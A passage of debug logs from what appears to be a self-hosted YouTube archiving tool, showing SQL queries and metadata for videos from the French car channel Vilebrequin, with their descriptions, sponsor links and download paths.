\nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nMontage vidéo : Pierre Bouillot\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#ford #gt #lemans", "Essai Ford GT : la supercar oubliée", "-T_CoEUkFBE", 1667, false, "https://www.youtube.com/watch?v=-T_CoEUkFBE", "/downloads/Vilebrequin/2023-10-26 Essai Ford GT : la supercar oubliée/Essai Ford GT : la supercar oubliée [-T_CoEUkFBE].mkv", false, 1, ~U[2023-10-26 16:15:00Z]] 07:41:18.631 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=159.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:18.634 [debug] QUERY OK source="media_profiles" db=1.5ms queue=0.1ms idle=62.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:18.636 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=62.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 07:41:18.636 [debug] Current batch of media processed. Will check again in 1000ms 07:41:19.637 [debug] Current batch of media processed. Will check again in 1000ms 07:41:20.638 [debug] Current batch of media processed. Will check again in 1000ms 07:41:21.639 [debug] Current batch of media processed. Will check again in 1000ms 07:41:22.640 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#fordisme #nouveaudécor #66", "duration" => 2430, "filename" => "/downloads/Vilebrequin/2023-10-19 Vultech FORD ( et Carroll Shelby )/Vultech FORD ( et Carroll Shelby ) [SBgLYUbmG4Y].mkv", "id" => "SBgLYUbmG4Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SBgLYUbmG4Y", "playlist_index" => 8, "timestamp" => 1697732100, "title" => "Vultech FORD ( et Carroll Shelby )", "upload_date" => "20231019"} 07:41:22.642 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=568.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:22.644 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=169.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:22.650 [debug] QUERY OK source="media_items" db=5.0ms queue=0.1ms idle=171.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-19 16:15:00Z], 1] 07:41:22.653 [debug] QUERY OK source="media_items" db=2.2ms idle=177.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#fordisme #nouveaudécor #66", "Vultech FORD ( et Carroll Shelby )", "9a232620-3f23-4ae9-b66d-8cdecc5311d5", "SBgLYUbmG4Y", 2430, false, "https://www.youtube.com/watch?v=SBgLYUbmG4Y", 8, "/downloads/Vilebrequin/2023-10-19 Vultech FORD ( et Carroll Shelby )/Vultech FORD ( et Carroll Shelby ) [SBgLYUbmG4Y].mkv", false, false, false, 1, [], 98, ~U[2023-10-19 16:15:00Z], ~U[2026-04-19 05:41:22Z], ~U[2026-04-19 05:41:22Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#fordisme #nouveaudécor #66", "Vultech FORD ( et Carroll Shelby )", "SBgLYUbmG4Y", 2430, false, "https://www.youtube.com/watch?v=SBgLYUbmG4Y", "/downloads/Vilebrequin/2023-10-19 Vultech FORD ( et Carroll Shelby )/Vultech FORD ( et Carroll Shelby ) [SBgLYUbmG4Y].mkv", false, 1, ~U[2023-10-19 16:15:00Z]] 07:41:22.654 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=180.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:22.656 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=12.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:22.658 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=12.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 07:41:22.658 [debug] Current batch of media processed. Will check again in 1000ms 07:41:23.659 [debug] Current batch of media processed. Will check again in 1000ms 07:41:24.660 [debug] Current batch of media processed. Will check again in 1000ms 07:41:25.661 [debug] Current batch of media processed. Will check again in 1000ms 07:41:26.662 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "10% de réduction avec le code “Vilebrequin” sur l’ensemble du catalogue Oscaro pour les 1000 premières commandes ( chacun valable pendant 1 semaine )\nLien vers le site 👉 http://bit.ly/46fWzLf\n\nCommunication Commerciale \n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Thibaut Iacolare\n\nMontage Sponso : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nEt la spéciale dédicace aux concepteurs du PIANO fou : Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#EXPERIENCE #Phaetonw12 #DELIRE", "duration" => 2170, "filename" => "/downloads/Vilebrequin/2023-10-12 Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?/Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ? [QrY57Hf8Ss8].mkv", "id" => "QrY57Hf8Ss8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=QrY57Hf8Ss8", "playlist_index" => 9, "timestamp" => 1697127302, "title" => "Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?", "upload_date" => "20231012"} 07:41:26.664 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1188.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:26.665 [debug] QUERY OK source="sources" db=0.7ms idle=571.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:26.670 [debug] QUERY OK source="media_items" db=4.5ms queue=0.1ms idle=190.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-12 16:15:02Z], 1] 07:41:26.719 [debug] QUERY OK source="media_items" db=48.0ms idle=195.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["10% de réduction avec le code “Vilebrequin” sur l’ensemble du catalogue Oscaro pour les 1000 premières commandes ( chacun valable pendant 1 semaine )\nLien vers le site 👉 http://bit.ly/46fWzLf\n\nCommunication Commerciale \n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Thibaut Iacolare\n\nMontage Sponso : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nEt la spéciale dédicace aux concepteurs du PIANO fou : Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#EXPERIENCE #Phaetonw12 #DELIRE", "Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?", "26f5a130-a267-4750-9ea7-ab7b5d148998", "QrY57Hf8Ss8", 2170, false, "https://www.youtube.com/watch?v=QrY57Hf8Ss8", 9, "/downloads/Vilebrequin/2023-10-12 Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?/Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ? [QrY57Hf8Ss8].mkv", false, false, false, 1, [], 98, ~U[2023-10-12 16:15:02Z], ~U[2026-04-19 05:41:26Z], ~U[2026-04-19 05:41:26Z], "10% de réduction avec le code “Vilebrequin” sur l’ensemble du catalogue Oscaro pour les 1000 premières commandes ( chacun valable pendant 1 semaine )\nLien vers le site 👉 http://bit.ly/46fWzLf\n\nCommunication Commerciale \n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Thibaut Iacolare\n\nMontage Sponso : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nEt la spéciale dédicace aux concepteurs du PIANO fou : Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#EXPERIENCE #Phaetonw12 #DELIRE", "Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?", "QrY57Hf8Ss8", 2170, false, "https://www.youtube.com/watch?v=QrY57Hf8Ss8", "/downloads/Vilebrequin/2023-10-12 Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?/Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ? [QrY57Hf8Ss8].mkv", false, 1, ~U[2023-10-12 16:15:02Z]] 07:41:26.721 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=245.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:41:26.723 [debug] QUERY OK source="media_profiles" db=1.3ms queue=0.1ms idle=57.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:41:26.725 [debug] QUERY OK source="media_items" db=1.4ms idle=58.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 07:41:26.726 [debug] Current batch of media processed. Will check again in 1000ms 07:41:27.728 [debug] Current batch of media processed. Will check again in 1000ms 07:41:28.731 [debug] Current batch of media processed. Will check again in 1000ms 07:41:29.732 [debug] Current batch of media processed. Will check again in 1000ms 07:41:30.733 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Téléchargez REVOLUT gratuitement avec notre lien : https://revolut.onelink.me/z4lF/vilebrequin3\nVous pourrez débloquer les 20 € et participer au tirage au sort pour gagner 1 000€ (voir conditions générales)\nCommunication commerciale.\n\nMerci à Maghla et Amixem pour leur présence ( et leur abnégation )\n\nChaine de Maghla : https://www.youtube.com/@Maghla\nChaîne de Amixem : https://www.youtube.com/@Amixem\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #ASSURANCE", "duration" => 2563, "filename" => "/downloads/Vilebrequin/2023-10-05 IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)/IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem) [sANRmxhTRJY].mkv", "id" => "sANRmxhTRJY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sANRmxhTRJY", "playlist_index" => 10, "timestamp" => 1696522505, "title" => "IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)", "upload_date" => "20231005"} 07:41:30.735 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=628.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:41:30.737 [debug] QUERY 